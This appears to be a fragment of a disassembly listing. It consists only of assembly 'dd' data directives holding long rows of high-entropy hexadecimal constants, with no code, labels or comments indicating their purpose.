		dd 3CEB8080h, 3BF96DAh,	518AD848h, 0EEB844DCh, 0BA63597Eh
		dd 1454B9h, 1C319850h, 23ABDC22h, 0AC2B8818h, 60F7F489h
		dd 92E20848h, 4E001068h, 1312D962h, 1F664DCh, 0D49ADDA4h
		dd 0E75EA6DFh, 0CF54A101h, 0D13155DAh, 6678C860h, 0A9B9083Ah
		dd 0DA387A0Ah, 0D300D788h, 79C89B6Fh, 6B484C03h, 6CD5A107h
		dd 64AC5036h, 77189120h, 0DD989617h, 0E05200CBh, 93319CEFh
		dd 0B01E3B6h, 9FF7816h,	0DBCC06BAh, 0C6B00CBh, 0B0A6277Fh
		dd 64008F6Ah, 8D754BF8h, 3FA2950h, 805DE905h, 0DAF8CC91h
		dd 1600524Fh, 0F60B42Ch, 1EAB6187h, 40658B93h, 0A38C86BDh
		dd 47022F02h, 75E08011h, 0D47FE022h, 88BB185Bh,	72F71074h
		dd 807804A7h, 269F3E07h, 0A91F3F00h, 8642AADDh,	0D4AB2124h
		dd 128B833Ch, 0A0248045h, 373E40C1h, 28294653h,	22430C42h
		dd 44220E88h, 84302FAAh, 1C444CCEh, 3628440Fh, 1134515Fh
		dd 2022850Ch, 661EB074h, 3740168Bh, 3C419E82h, 77D30027h
		dd 0CFCBE274h, 7B03F00Dh, 71569676h, 1B37C03Dh,	0A63F1694h
		dd 137705FCh, 0F1EF0088h, 2C2DBC8h, 395A7400h, 34CA12ECh
		dd 948D002Fh, 0BE24089Eh, 7100C8BDh, 0E1FF4021h, 7C9DB69h
		dd 3460ECC7h, 6D17607Ah, 5A2C0B3Dh, 33000058h, 6EDF9754h
		dd 63E70549h, 544C4B7Ah, 720452E4h, 0C0F928C2h,	0F3F5A48Fh
		dd 0C6548500h, 80E10486h, 1D97AEDh, 0DFC11C48h,	0FE3F2415h
		dd 516E2FDh, 6878DBBh, 84A54BC0h, 0CF78150Dh, 5F00E870h
		dd 881E9EF4h, 730C9119h, 50E55AFCh, 72B3073Fh, 9026BB94h
		dd 0A9E3CC6Bh, 27D30300h, 6276A45Fh, 0DC825831h, 75E7D100h
		dd 0CC66D47Ch, 80F3C60Eh, 56DDBDA9h, 0AD98ABC0h, 21EE590h
		dd 0BEE2BF55h, 0F4E096F0h, 8F00FB85h, 5CAEABC4h, 6B44817h
		dd 0B888E8E7h, 0EAA0E09Ah, 62399E68h, 0D71700B9h, 0AC66E8E2h
		dd 0CB7D002Ah, 68CF735Ah, 0FA24F40Ch, 0AD000707h, 14AE97A9h
		dd 5300789h, 0A09F80FBh, 36A1771Fh, 0B6C0700h, 0FE5809C3h
		dd 44350031h, 0D2CDB5F4h, 1100A0CCh, 9FE4F9F1h,	0EC3B2022h
		dd 1A4300F7h, 4E6A107Ah, 0D303EBCDh, 9B09FA64h,	0F112B875h
		dd 9F550091h, 0C3D48BF5h, 9A00769Dh, 1DB96C59h,	0FEC7BA25h
		dd 8C123892h, 0EEEFB00h, 0BD5D831Eh, 0F4561900h, 376B29A5h
		dd 0F79D0099h, 9B5AD60h, 0C800E212h, 0B1CA210Ch, 50EC1BABh
		dd 1EF7F045h, 402A85DEh, 0B9E7099Ah, 0AE0F427Bh, 0C32040D9h
		dd 901F2EFFh, 0D6374Fh,	0E74D98A8h, 1A4D2EEh, 0A325FB00h
		dd 77AAD56Bh, 96A7016Ch, 3828F7F8h, 0C9E02E68h,	26FF005Dh
		dd 4E70FCA5h, 4F009986h, 0A0CBABADh, 0A88897h, 0C1963585h
		dd 0EA1D2870h, 3221D000h, 6853D22Dh, 79250016h,	338C98CEh
		dd 669005CFh, 3B2DAD17h, 0A50D7E00h, 306D1Dh, 3A6E651Ah
		dd 0AE596BB3h, 700045F2h, 0DC8C718h, 3052CC50h,	0A6762D9Bh
		dd 14179FBDh, 7E1F835Fh, 47801424h, 0DC66B572h,	4471CCh
		dd 9237BA55h, 0F7DF4DA8h, 0F3AC6F00h, 0DD705E01h, 0DECB3F34h
		dd 0F88015B9h, 89D2B7A7h, 3A003353h, 0D1B88F27h, 0EEF8B0Ah
		dd 5EDEDF8Ch, 4A3F7240h, 0B30345E5h, 0CFCC2617h, 7806B928h
		dd 0D8ADE4h, 8CBE69EDh,	40D03BA9h, 0E0E25303h, 0C0EB100Ah
		dd 4A3CE41h, 9BF5E32Dh,	0E140C069h, 1D00ACD8h, 6C23F8F4h
		dd 72FB9590h, 2B7600E7h, 5E4B3287h, 0AE019966h,	8083C743h
		dd 33CCEDE5h, 204E014Fh, 3FBD2A5Ah, 5E74EC9Ch, 3C0BC400h
		dd 9DFA2EF5h, 0C7CA0030h, 1C9E7A26h, 7E055B07h,	0BC9B54B7h
		dd 8C41E001h, 0DDC89D6Eh, 8E1E07B4h, 0FCEA482h,	0A600F894h
		dd 6553EEBEh, 9A605A52h, 6341281Ch, 0C1A4C8Dh, 319E1639h
		dd 81865E51h, 97223C6Fh, 3508203Ah, 797A1E00h, 0C2C3ECDFh
		dd 0CA360F18h, 0BBAF256Eh, 984A8E40h, 0CE00B016h, 0DF6680D7h
		dd 0C757E2h, 9BE14F79h,	0B2D03E03h, 3F007C7Ch, 80F471F6h
		dd 0A1F60h, 785601F2h, 0ABA71DC0h, 94969113h, 7B16A400h
		dd 0F9E898A0h, 646BB842h, 3D9300A4h, 76C9B999h,	2C00E9C6h
		dd 0C57A1D3Eh, 7FB26h, 0C7AFFCBEh, 2568275Ah, 4C092809h
		dd 0C6E28F43h, 3106B4h,	60D1A097h, 7442C019h, 775A9C02h
		dd 0C0444A46h, 3CA29394h, 7C16B5h, 4CA49670h, 0F6EDBB92h
		dd 805DE33Fh, 4755B6C1h, 0E6D577h, 9DE1D1C2h, 39B08FCBh
		dd 4969EE00h, 72AEE90Ch, 417E1D34h, 0B8708003h,	61D01C59h
		dd 4EF4393Fh, 270C3800h, 0FEEDADh, 0C9BA5263h, 318B0656h
		dd 8F32BC0Ch, 0FEAF36D4h, 5D05003Fh, 0EFF9D025h, 157AB072h
		dd 91F2039h, 7F4B63ECh,	81785100h, 13017E17h, 0D85AE002h
		dd 0FAD0D396h, 0F9850FE8h, 0C0FD6CF5h, 1A7BD078h, 73F876E1h
		dd 0A35D700h, 722034ABh, 0DAF3074Ch, 0FF8692BFh, 33592FA0h
		dd 480047C5h, 28F02698h, 62288h, 0CDE05FA8h, 4020F6D9h
		dd 7D371E07h, 0FCA04DB1h, 126E9AE2h, 54A6CADh, 458882h
		dd 1AFBAFB4h, 0D6027E25h, 0C02CD496h, 6DD46044h, 20DE0060h
		dd 9A53565Dh, 3500B1ECh
		dd 3A2342AEh, 0C9C409h,	2EF59A2h, 87720DAFh, 1FCA1909h
		dd 0A1CC8329h, 39F4D8FDh, 1C5600DBh, 0D6954D74h, 0DC00E671h
		dd 0A2AE478Ch, 96C481h,	4D0B21BCh, 6D990F2Dh, 87A6081Eh
		dd 0E1FE8002h, 1A986101h, 9820D021h, 0C0B1769Eh, 0D6C0AD11h
		dd 98B05686h, 5AD4EA03h, 0A7AC376Ah, 40D5F280h,	0AE64307Bh
		dd 0A782C31h, 0D30538h,	0EC14AB6h, 4870695h, 8DA92216h
		dd 0CB7FC171h, 4A2730C9h, 95496B00h, 5A12AA5Fh,	48836001h
		dd 39F6CAE1h, 7E910406h, 7194063h, 0C15D4CF2h, 385EB173h
		dd 43812BDBh, 2080920Bh, 0F899176Bh, 0F600D5E9h, 3E7F3A13h
		dd 383365C0h, 0E880823Fh, 0BDD351AFh, 0F80064CFh, 5E5735BFh
		dd 0E908A5h, 0FD9B4E43h, 0FD56138h, 42F6301Eh, 0AD230E00h
		dd 1726BDC5h, 0F537E3h,	0E1C7A74Ch, 1A00C43Ah, 0EB037C3Fh
		dd 0D2F1EFh, 0AFCCB5D5h, 0BC622A59h, 6A0018B0h,	0F431D1C8h
		dd 4C8E65FDh, 2A0082ADh, 79CCC2B9h, 0D30E386Fh,	83D6F4CAh
		dd 80AED018h, 4FA7C6h, 0FCF14E29h, 1B6C069Dh, 1E00C0EAh
		dd 6DF5EB44h, 2ECD43DBh, 0CC9F32h, 9945058Ah, 193A6B37h
		dd 4D8B802Ah, 6473CC2Eh, 8F1C0008h, 356DD1C0h, 0EC09F020h
		dd 8962655Dh, 0FBC10084h, 5056FEh, 89EBA9EFh, 6FC0D676h
		dd 8554900h, 0F646982Ah, 74D00744h, 3BF801B5h, 0B03E8820h
		dd 1003C825h, 6A16AFBFh, 0A065983Bh, 181C002Eh,	0BD6420F5h
		dd 592CECC4h, 150010E9h, 3E012FE5h, 0FC74E795h,	60831EA4h
		dd 0F8119FC3h, 18C59498h, 814DB2F7h, 87000FCh, 1714D12h
		dd 0EEB8E0CBh, 0B332002Ch, 0F7E8E6D9h, 0FA1C0248h, 0F440A843h
		dd 0C91103B6h, 85D30078h, 520EFBE5h, 8F001DD0h,	9358F3B9h
		dd 5D9537h, 0E4B34E51h,	21FDDEE8h, 1B3E0900h, 68E1473Ch
		dd 9526005Fh, 0F4E41587h, 50C05962h, 0C3CFD89Fh, 66D61433h
		dd 6F00888Ah, 0ED773C71h, 49E6B2FFh, 0DE26B600h, 797B5737h
		dd 0D9940C8Ah, 1DD8F9E0h, 24F5C71Ch, 0AE91CE00h, 7929B826h
		dd 4913047Ch, 90DE8BB9h, 16F13E24h, 1175000h, 2D2AA4FCh
		dd 0EF6200B7h, 0D2606C25h, 4E03E426h, 0A11C70DBh, 0C62D80E0h
		dd 3B561667h, 528C403Dh, 5D4DFAE7h, 29920900h, 33115AC8h
		dd 93A01742h, 671C0040h, 0E24D20C5h, 8EC36900h,	0ABD1F6Bh
		dd 0CBAE002Bh, 0EEA3B735h, 0C626975Ch, 7E8EF860h, 511701B8h
		dd 8DE002BDh, 3EAB0054h, 0DA2C4CF3h, 479827FBh,	85B3FA12h
		dd 72C3D300h, 0A0C9D93Bh, 1F2DE6h, 0FF0AE12h, 0FDD6821Eh
		dd 4E26E902h, 40C27136h, 30915A00h, 0A3C81BB3h,	0C31E988Eh
		dd 0C60009D5h, 4FD6E6FEh, 2CD8004Bh, 1D3D0B6Ah,	361269D9h
		dd 64008A59h, 0C7714C56h, 0F2FC002Dh, 0AACC0F5Eh, 6A005863h
		dd 83F8D3ECh, 0C5198E1h, 5411A5B2h, 42FCEF30h, 7F177900h
		dd 0C6A36B6Ah, 0D1906133h, 2019D08Fh, 324CBF16h, 0A5E31318h
		dd 0E12B140Fh, 82618FDFh, 27DE5E8h, 0A3F4FE50h,	0EBE19176h
		dd 1C7C20ECh, 0BAC67500h, 0C7B9E498h, 237E1731h, 0C2841E93h
		dd 3BF04184h, 8B675CE0h, 0EC10200Fh, 48C0C005h,	92FB57C9h
		dd 0AE7A00C4h, 8090566Eh, 9B71D3D4h, 64C73B00h,	6A5B4F10h
		dd 0EAE272h, 0B79D53B4h, 0F754ADA1h, 4D789C1Eh,	0D0C5D19Fh
		dd 0FDC04E76h, 0F828BC1h, 0F655692Ah, 0C20045ABh, 4F769613h
		dd 92C1603Ah, 0B8806C46h, 5D862069h, 8A01B8D4h,	0E26780FAh
		dd 711960D2h, 55849E00h, 0B72DF20h, 9BF40013h, 0A192931h
		dd 0AC004F17h, 76495FFh, 3878A1F5h, 4A03727Fh, 18D2EA79h
		dd 90118B9Bh, 0B811379Fh, 0BEFC17C1h, 0C039EC4Fh, 7FFF5D42h
		dd 0CF98C089h, 0D652B023h, 8CC4B154h, 0F24EEB04h, 0C01CB839h
		dd 0A4DF5824h, 7A00D0DDh, 0A6169FA2h, 0F7F89Ch,	0F4C77946h
		dd 76B98B45h, 8FD4AD0Eh, 0FEB4810Fh, 0BA6099CBh, 635C00E9h
		dd 6C52E278h, 22003901h, 0F534ECA1h, 0B28999h, 0C5512959h
		dd 0E61C33BCh, 5EDD13Ch, 19085683h, 0F2F37C80h,	0EE730B5h
		dd 2FBC8610h, 90476901h, 7CCF378Fh, 9220ACCh, 0CCF877AAh
		dd 783D8CA0h, 0E949B5EBh, 0B43918h, 0F571C3A5h,	386FDADFh
		dd 7E0BD2A3h, 80223Dh, 0B135E3F7h, 23CAD600h, 45C4ED62h
		dd 10300071h, 0D4659646h, 0ABE84754h, 8D353Ch, 93AC7A34h
		dd 7426E677h, 487E3A0Bh, 757CEC80h, 0D78F17FFh,	1C2C6D06h
		dd 16981D1Ah, 30835E72h, 194DE918h, 0B462480Eh,	0EC6B02E5h
		dd 41106055h, 60B6484Ah, 6D718103h, 0EE9E24B9h,	481BE000h
		dd 0C2A0E3D4h, 8A2B002Ch, 0E8E934A4h, 0F000ECEh, 49C87472h
		dd 0C0C96ABEh, 40AFF351h, 3C0013D2h, 4630C298h,	98E595D5h
		dd 5C8B00B8h, 0C692CD27h, 83008E7Ah, 0A36C73F6h, 1A604Ch
		dd 4A2D6E79h, 0E7E86846h, 7F4EED01h, 86D02510h,	8070CFC1h
		dd 2B9112A8h, 6A330BC9h, 0B55D5E80h, 0F5036FF6h, 0CF8829A5h
		dd 0DCD0843Bh, 8B0405h,	0D90F8D15h, 1E1C3AADh, 4008F002h
		dd 6051695Fh, 3F1D4E06h, 548058AAh, 0A2B6EEC7h,	710717DCh
		dd 90143998h, 2E151D81h, 0DDCCCE40h, 0B780003Ah, 75E98F0h
		dd 69B055B0h, 80F4DB3Eh, 0E3BE2AFh, 0F683FFE9h,	224900C9h
		dd 998D754Fh, 58F07D6Eh, 8E0FDC90h, 0C0AF2CB8h,	0B05D0C41h
		dd 0B8072EDh, 298690D6h, 3BAA1840h, 4405A700h, 20184EA9h
		dd 0E0480028h, 753F6064h, 0E8124F31h, 0F095CD08h, 77535380h
		dd 427205BDh, 0B0BA37F0h, 0EAE68D04h, 30436D1Ch, 0E1048187h
		dd 91C12FA7h, 3820310Bh, 38E716EDh, 784DA857h, 697D60C0h
		dd 1807829Bh, 59EA8F30h, 9F4081FFh, 29120052h, 0F438FC6Bh
		dd 0BB2EBF39h, 0A700DE5Dh, 0CCB677DAh, 7C94B883h, 0D605005Fh
		dd 0BEA81709h, 93007814h, 3404C674h, 48E11BACh,	0FF09BCB0h
		dd 5020D82Dh, 0A74E673Bh, 7D4CD17Bh, 529B0038h,	46C6F1C7h
		dd 66383A87h, 0F4228494h, 8C2EB900h, 659572DEh,	0A1776403h
		dd 24A4520Bh, 66D7F0h, 82DF559Fh, 0D400266Dh, 0DD9D516Ch
		dd 0B8028F89h, 0A59004Bh, 2CD67506h, 6601552Ah,	9257460Eh
		dd 0F1F8A7EFh, 0DC1A0072h, 6E84EB9Dh, 0A200515Eh, 0B4615A31h
		dd 133D09h, 14ECD61Dh, 20586CC4h, 0ACA13200h, 0C915FA66h
		dd 693900D0h, 0F6249716h, 18162133h, 0BC00EB08h, 8668A0C2h
		dd 805C0070h, 21E9AB12h, 4200CC01h, 0C0FAAA1Fh,	8D8ECBh
		dd 79C3ED3Bh, 7304713Fh, 8C988050h, 0DD090778h,	0E8305DAEh
		dd 0F26A680h, 0AFCA1F8Ah, 0A57323E0h, 4A009210h, 5239D59Ah
		dd 43ADB6h, 0B9A3D4E9h,	1083E5F7h, 1E00A8E6h, 0DB496928h
		dd 2DE8F14h, 7765097Eh,	8868584Dh, 14948218h, 0CFBE3200h
		dd 283FE5Ch, 7743FA3Dh,	0DC8008F9h, 176C3F5Eh, 710FF4B8h
		dd 3D723846h, 0D91C4BC1h, 58C4889Eh, 2B290084h,	24895644h
		dd 0A70020ECh, 82BF5333h, 3B235846h, 6280EDF6h,	32DCC5E4h
		dd 0E5E696E6h, 59AD3800h, 2A05AF3Eh, 0CCF01Ch, 0A8B889D2h
		dd 730C2090h, 0C954C500h, 0FBE30FA0h, 7257DBAh,	0B44DA270h
		dd 2CB22047h, 0B60040D7h, 668F80F6h, 3D86823h, 0A248BD87h
		dd 27F87F96h, 0F52533F1h, 0CE009D72h, 0A4686A28h, 4D0A0700h
		dd 4479952h, 0D042C8C2h, 38CB4CCh, 3157340Ah, 0B607B4FEh
		dd 0A0B9C419h, 4FB4EE84h, 8A823E2Fh, 6B103980h,	0BA28FA5Fh
		dd 2D00E0B2h, 8B7D842Ch, 1E8971E8h, 4B2742E3h, 70299B08h
		dd 0F395B500h, 350E0D3Dh, 0C06AF6C9h, 0D973B8ACh, 71E13DA3h
		dd 0D7933400h, 0E8C6C454h
		dd 0B1566616h, 0B1C1300h, 0F270B2A6h, 3E6304D3h, 0C09D7A16h
		dd 17D4E7AFh, 1AE6F071h, 6622A300h, 0D13B8894h,	80BE06FBh
		dd 213F50DBh, 0FA06E204h, 5CC09B49h, 4AE7Bh, 9DEB0B29h
		dd 54CCD24h, 0BC90A402h, 0F09E4149h, 4C2A4C9Ch,	53C0BE00h
		dd 903D177Dh, 293CFE00h, 10E8C8C6h, 0A1F883h, 45880EFBh
		dd 422320C7h, 0A877FA00h, 0FC0C635Fh, 0BF6F0018h, 0E7DDA1D2h
		dd 0FF03C3B1h, 80E94A4h, 0C0909D34h, 3C661h, 7CDCF9D5h
		dd 50DDC122h, 6CBC7E2Eh, 2E182318h, 8BE30F06h, 383911ACh
		dd 0E5146FCBh, 37AE0028h, 0A7A0416Eh, 44FE71h, 31E26417h
		dd 27DCCB35h, 0CC4C3200h, 6A92D08Ah, 0E8FB486Fh, 13BA8200h
		dd 85CA8BBh, 313AC91Dh,	8CD56380h, 6061ABD7h, 0BEAC11E1h
		dd 0F90094ADh, 5288CF23h, 3AF709F0h, 0C961CE61h, 9310859Ah
		dd 1903A090h, 1EF48C7Eh, 0C0BB2810h, 11B9B2C2h,	1C045B2Fh
		dd 0AB951018h, 720A40A8h, 3B640E38h, 4F709680h,	8491BDA0h
		dd 0DAE95560h, 0EA21148h, 74B604ACh, 78B30AE1h,	0A74BDC24h
		dd 8B3E827Bh, 4A2680C8h, 13CA1AEAh, 705A0345h, 0EFD906BDh
		dd 985D99E0h, 4B27FB00h, 5C148C83h, 0E9A20032h,	0E0AE35F7h
		dd 6AFC2276h, 1D6C8E04h, 0F1C065B6h, 390423h, 8F6F547Bh
		dd 0BCD0CD29h, 510AEA00h, 0E2E0019Eh, 0B8DB00EDh, 0EE5C677Dh
		dd 13003769h, 5F1ABCB4h, 79CD4Ah, 2EE3BE3Ch, 0FBD5CC95h
		dd 30E61C00h, 0F4239EC3h, 0D1F0000Fh, 499DC55Bh, 0CD006CE4h
		dd 0C3AADD47h, 4DBD3E22h, 520FA057h, 6209A59h, 0CAA4DC91h
		dd 24DDCE3Ah, 95801016h, 0C3705FB1h, 19FE00C7h,	0BB2FDF82h
		dd 8701DA76h, 118E8C34h, 188B6750h, 54E0260Dh, 76006D72h
		dd 0CB098378h, 2C70489Ch, 134B2ECh, 0E58C02F3h,	8BC840EAh
		dd 49FE5C61h, 265F3900h, 8C122806h, 608922Dh, 4D87F8B0h
		dd 0C20059E1h, 945DB161h, 330E62FCh, 0F2081710h, 89E22100h
		dd 8EFEC5B1h, 53800324h, 0B8819C66h, 3C78F8B2h,	0E7115D00h
		dd 0C4E9BADEh, 0E86A0BD5h, 0CF8B4951h, 0D201F4D4h, 0C29E8CF8h
		dd 81C4984Bh, 40773226h, 0D1BAA7h, 0F56DB87Eh, 0C24533BDh
		dd 807210CBh, 852A3F72h, 1E26Bh, 5436EDE6h, 0BF429A43h
		dd 0BB80AF00h, 0F9ABC8CAh, 98F65Bh, 940C137Bh, 7EF4EBAh
		dd 241B5900h, 9BF457A2h, 12D900E2h, 16CC44CBh, 0D073054h
		dd 64622F7Eh, 7D239C90h, 3CD00039h, 40A4BF28h, 502C945Bh
		dd 0E0001769h, 3A9D45DDh, 417801CEh, 9EA24902h,	0EA52C90Eh
		dd 3E7332C0h, 0F1F69772h, 0EBE39C00h, 2641CD5Ah, 62DE1E45h
		dd 5DB54054h, 0EAF8C14Fh, 6A572500h, 2B7A9D89h,	62163B31h
		dd 0A69692h, 0C9C8BC1Dh, 10DD9718h, 58DC0Fh, 13DE96BAh
		dd 2BF401E2h, 61C3C2D8h, 7157CC66h, 0AEA95200h,	0B90135A8h
		dd 0AF540017h, 0CB4B874Ah, 7A001943h, 1BFA49C3h, 1C2B40F8h
		dd 962FBDh, 1ADC15FEh, 365AC0A1h, 0E100AEFCh, 1E5431DFh
		dd 660050AFh, 74D587Dh,	7935B11h, 0AC344BCCh, 0A6384065h
		dd 580083A7h, 0D4DCC00Ch, 3E753E67h, 8F800176h,	92ECE92Dh
		dd 0AFF4FE34h, 7AC6E000h, 8E58A3B3h, 62F007BEh,	50DEE28Bh
		dd 91F3618Fh, 37886C00h, 0D42653CFh, 0B0DD077Ah, 6060A33Eh
		dd 4B9F669h, 654C2C12h,	0A40061E8h, 0C5B6D5FEh,	0D6003F08h
		dd 0D996649Fh, 7895009h, 46A70138h, 6E69F06Bh, 0E8033C8Ah
		dd 0F9689611h, 0B41FD084h, 0EB5700DCh, 6FC74E56h, 5230ED8Ah
		dd 0E55C8090h, 12810010h, 5B148BDBh, 0CCA09AC0h, 9F761873h
		dd 0B905BC7Eh, 0DE0EC887h, 54BDA040h, 0D42702h,	0CE679655h
		dd 148304D9h, 0EC6F222Ah, 8DECEF7Dh, 0DD9FC506h, 0D6F8CEh
		dd 8EF670CAh, 400BA083h, 686AD700h, 8435A3C8h, 1B3B003Eh
		dd 0DA08524Ah, 5800035Fh, 0C123B38Fh, 7B720Fh, 15DB95DCh
		dd 6A74A8B4h, 80F7753Ah, 8D0696A6h, 873E7Eh, 8804723Ch
		dd 0EE1BB08Bh, 17AF458h, 9436E8E1h, 8D601AD0h, 0DD880023h
		dd 5428BDADh, 0F205EB2Bh, 2E75E098h, 0B6D2B000h, 0DFD3C7h
		dd 0C06179B0h, 0B90F8E91h, 6F3D9907h, 0FFC01A37h, 0C056749Fh
		dd 0F4A731AAh, 0E71C8CDCh, 37AC5F1Bh, 6A81F302h, 0FD7840A5h
		dd 0BE3300E8h, 2EAF04BBh, 15078DECh, 0FFABA05Fh, 0C357DF60h
		dd 2AA5006Bh, 4FD42D5Dh, 4FEF256h, 0A49CDC1Fh, 4012E580h
		dd 26FA83C5h, 1CD0D917h, 54F4401Dh, 844ACD61h, 31758C1Fh
		dd 68C40E82h, 0EBC271h,	879A1E98h, 23B5000Fh, 48DFE080h
		dd 0A14841DBh, 0D95F07C4h, 74C1E2E8h, 37E0FD03h, 0BBB10069h
		dd 5DCDA014h, 1D00B696h, 6612B8D8h, 997931h, 8D87E530h
		dd 956C7604h, 0A0CC681Eh, 589AA980h, 0C092CFE9h, 0DEBE1219h
		dd 6902B75Dh, 7918F382h, 7718496Ah, 7784DF60h, 0B43719D4h
		dd 0F1D6B0B5h, 4FBFEC0Bh, 6D18B918h, 1F9BC048h,	400FFCA0h
		dd 69176643h, 85004635h, 0FF9DDD28h, 0E8D55222h, 1F0F40Dh
		dd 0BAFCFD8Ah, 61067346h, 9F02C81Ah, 51139h, 1594388Fh
		dd 0AA25A3h, 0EB2E8049h, 0FD8DFCFEh, 81BCFF0Bh,	0D082009Eh
		dd 0B96584h, 99613C8Eh,	9F35185Bh, 6BD15700h, 0BF077BFh
		dd 196F64Bh, 6AF18A2Ah,	0F8DB5E4Ah, 0A126073Ch,	63002FDFh
		dd 4C8E22FAh, 2F2D001Ah, 0B9C7915Fh, 5A02698Ah,	0CFE25496h
		dd 0B9860B7h, 0C6B2001Dh, 7910DCA8h, 0D81FB5A9h, 16809E1Fh
		dd 8B2030F4h, 714C020Fh, 0F2F78F50h, 3218CC40h,	40B75A75h
		dd 138A6DFh, 0C42EB1CFh, 0C47E7786h, 59007C51h,	3ADF4D53h
		dd 0FC09B526h, 588E2E8Dh, 2690098h, 98C3DE01h, 6C1E2879h
		dd 3A4E0633h, 22003289h, 0DA4CB122h, 0FFF60054h, 2914304Bh
		dd 60903183h, 1B32B208h, 3800BA59h, 613D5B48h, 3400D658h
		dd 0F7035388h, 0F80480h, 0AF91304Dh, 0DC11FBB3h, 362BB612h
		dd 0EA584C40h, 26CB6353h, 3CEBF9h, 9ED5AC54h, 11C3A949h
		dd 0F8CAB461h, 80BB69h,	477AADF1h, 6BFBDE1Ch, 0CC59961Dh
		dd 0D50182DDh, 256E86DDh, 3A90F424h, 5183F5BFh,	1C2C2FEDh
		dd 7F5BA7E8h, 2624375Ch, 799468F2h, 91C700B8h, 74DF4439h
		dd 81B50077h, 3DE0C422h, 0F600096Eh, 66E1B6BBh,	1E6B0738h
		dd 0C17353EBh, 0B5A0BDB8h, 8464E815h, 9E6A7107h, 603F9DD9h
		dd 828D3C41h, 0E17B1C1Bh, 5BDD403Bh, 7F1816DAh,	5940AE00h
		dd 0DC6DC4A8h, 0FB2C1C86h, 2807C031h, 0F1FCE652h, 89840100h
		dd 44A599F9h, 32CDEFA4h, 7ED024h, 663B185Eh, 2B862DE2h
		dd 0D87C3F79h, 9FA8700h, 5D709719h, 0AC8D0062h,	4AF166BFh
		dd 85003C13h, 0E2DDAB93h, 0F46E23F2h, 0E93803AEh, 0B02A683Bh
		dd 0C53040E7h, 5B385105h, 0E381800Dh, 949FA997h, 0E7690EB0h
		dd 6040C842h, 5E74FBBEh, 61EE5F00h, 8DC602BAh, 46181C6Fh
		dd 0B5A780B0h, 1F808393h, 0DD6B2603h, 983BCD41h, 73849E96h
		dd 0F5F05Dh, 0F6AA8821h, 617E52E2h, 6A677707h, 83AB55E7h
		dd 0A5933F70h, 3482B987h, 0BD35405Ch, 924A72B9h, 9DB82ED0h
		dd 2382803Ch, 0AE816BCBh, 0E85BF00h, 1C638DADh,	0B78616D9h
		dd 8EC00092h, 35A4BDA1h, 3E51B13Fh, 9EDBF9Bh, 80571001h
		dd 52881FFCh, 831A3063h, 0D9652BE8h, 963AFF05h,	7CD08209h
		dd 1DC5F23Bh, 4E72B4B2h, 45808485h, 3EBC6D81h, 0CB385F03h
		dd 0E0BB6C3Ah, 76D1A59Dh, 0E44703ECh, 0BCB69545h, 40FE97E1h
		dd 2C14C228h, 6E157500h, 9A1A6FADh, 2EA700FBh, 0F1F787CFh
		dd 261D2994h, 44005EA1h
		dd 0ADEABC11h, 0B8861FB5h, 5CDF8F3Fh, 2D4C7980h, 2601CEC9h
		dd 0B63690BEh, 5860DB3Bh, 815D30FBh, 657BEF71h,	4945860Fh
		dd 5336C55Ah, 0DAA31400h, 10283Ah, 928961D5h, 48E5AC72h
		dd 0E1EA0C00h, 3D410839h, 0AEFB008Dh, 0D09F096Dh, 1C00227Bh
		dd 0C13CDD80h, 850556h,	839A1441h, 0F7A9407h, 2461A007h
		dd 42408B28h, 0DB2DF0h,	3A8750E9h, 2792C6D7h, 2B5D4100h
		dd 5AEC5CC7h, 559B00D9h, 0F78C0975h, 6B00F4A4h,	0EEF38327h
		dd 71F179Ah, 0D5CEECCFh, 7BE44107h, 634D474h, 0E90064E8h
		dd 7A0E18BBh, 3B2B68h, 0ECD7ED43h, 37ADEF1Bh, 14678200h
		dd 3E1E8FA9h, 35D500BDh, 444F4D21h, 811E240Fh, 0EFC7E40Ah
		dd 0A1B0A3E9h, 599EEC63h, 0D202741Dh, 0DA5EC031h, 0A09C9CA4h
		dd 2203128Ch, 1BC813DFh, 47A4B0F6h, 6F262875h, 0DBA31EA0h
		dd 0FD10C303h, 2911C14Eh, 2D112C2Ah, 4A721E6h, 4085768h
		dd 0E85C269Eh, 2432228h, 20C5C022h, 0D9722192h,	20449B00h
		dd 0E19E83E6h, 2E5300FEh, 0F61A35CCh, 0A4008A26h, 107AD3BDh
		dd 0D7EF5Ah, 5B432EDAh,	0E15991E8h, 85CDE403h, 0D0E56F24h
		dd 18EF23D2h, 36F60544h, 86142E0Fh, 0D1AF5Fh, 4B5711B0h
		dd 48B24F46h, 4000AC53h, 96645541h, 0C00B477h, 86E606A8h
		dd 0E3697Ah, 0EA9013ADh, 0B70F3BECh, 59756500h,	9246269Ah
		dd 245000E3h, 0D44BAFC6h, 0B5006E5Fh, 1FF2C562h, 3C1C7D03h
		dd 0D2025E43h, 0C1511A69h, 9AD4BBE0h, 85B24E00h, 0A95DD3AAh
		dd 1EDD000Dh, 0B86CAB8Ah, 552D47F3h, 28AEDE0Ah,	952B044Fh
		dd 0D0594BD8h, 9D8E7D28h, 1BA74803h, 831CF48Ah,	3D169824h
		dd 63C705EAh, 80AD91C6h, 5FCF8839h, 45405D00h, 6B5E6809h
		dd 0B8C0EE6h, 0D560222Dh, 0E87203BFh, 0C9BC2A00h, 8D54BA18h
		dd 0F633009Ch, 8B84F3F5h, 8C78E5C7h, 45260500h,	0BF81D986h
		dd 0F77A0F6Bh, 0AEE0531Ch, 0A950AF65h, 21B6C102h, 80D8BE97h
		dd 85FBFFD9h, 3F4507B2h, 3F1E6FAEh, 0BD56C01Dh,	998D904Dh
		dd 7512D207h, 8257A79Ch, 90D51FA3h, 262CE7h, 994CE5CCh
		dd 0AFA5D13h, 0D3398B79h, 523E12h, 0D937C931h, 1EE687C5h
		dd 0D814CB4Fh, 8C3060E0h, 0B169762Ch, 5CC90B00h, 886726h
		dd 0DD9D745Eh, 54E0790Ah, 8F2DEB00h, 94CCB978h,	8ED30077h
		dd 0D7DFD29Fh, 92004F5Bh, 0A24539B6h, 2DC03Bh, 8B244B90h
		dd 0E8628D6h, 40C52C00h, 0FF525453h, 96DD00FAh,	0ECCE2E7Ah
		dd 887F2D1Eh, 1DFCF098h, 0EED54B01h, 8D2FF49Eh,	758080DEh
		dd 0AFE2D3h, 0C6AED055h, 0E200688h, 0A87D3900h,	0DBCA61C1h
		dd 73DA00DDh, 0CB9B427Eh, 3800ECD9h, 0B0868884h, 295620h
		dd 1F4167BEh, 0CB4A5E73h, 0F8E2893Dh, 0CA035D1Fh, 61FDB580h
		dd 0EC7B4743h, 0DD0C1F1Eh, 0D82981F7h, 0D3FB9B3Ch, 0EC2C2DB9h
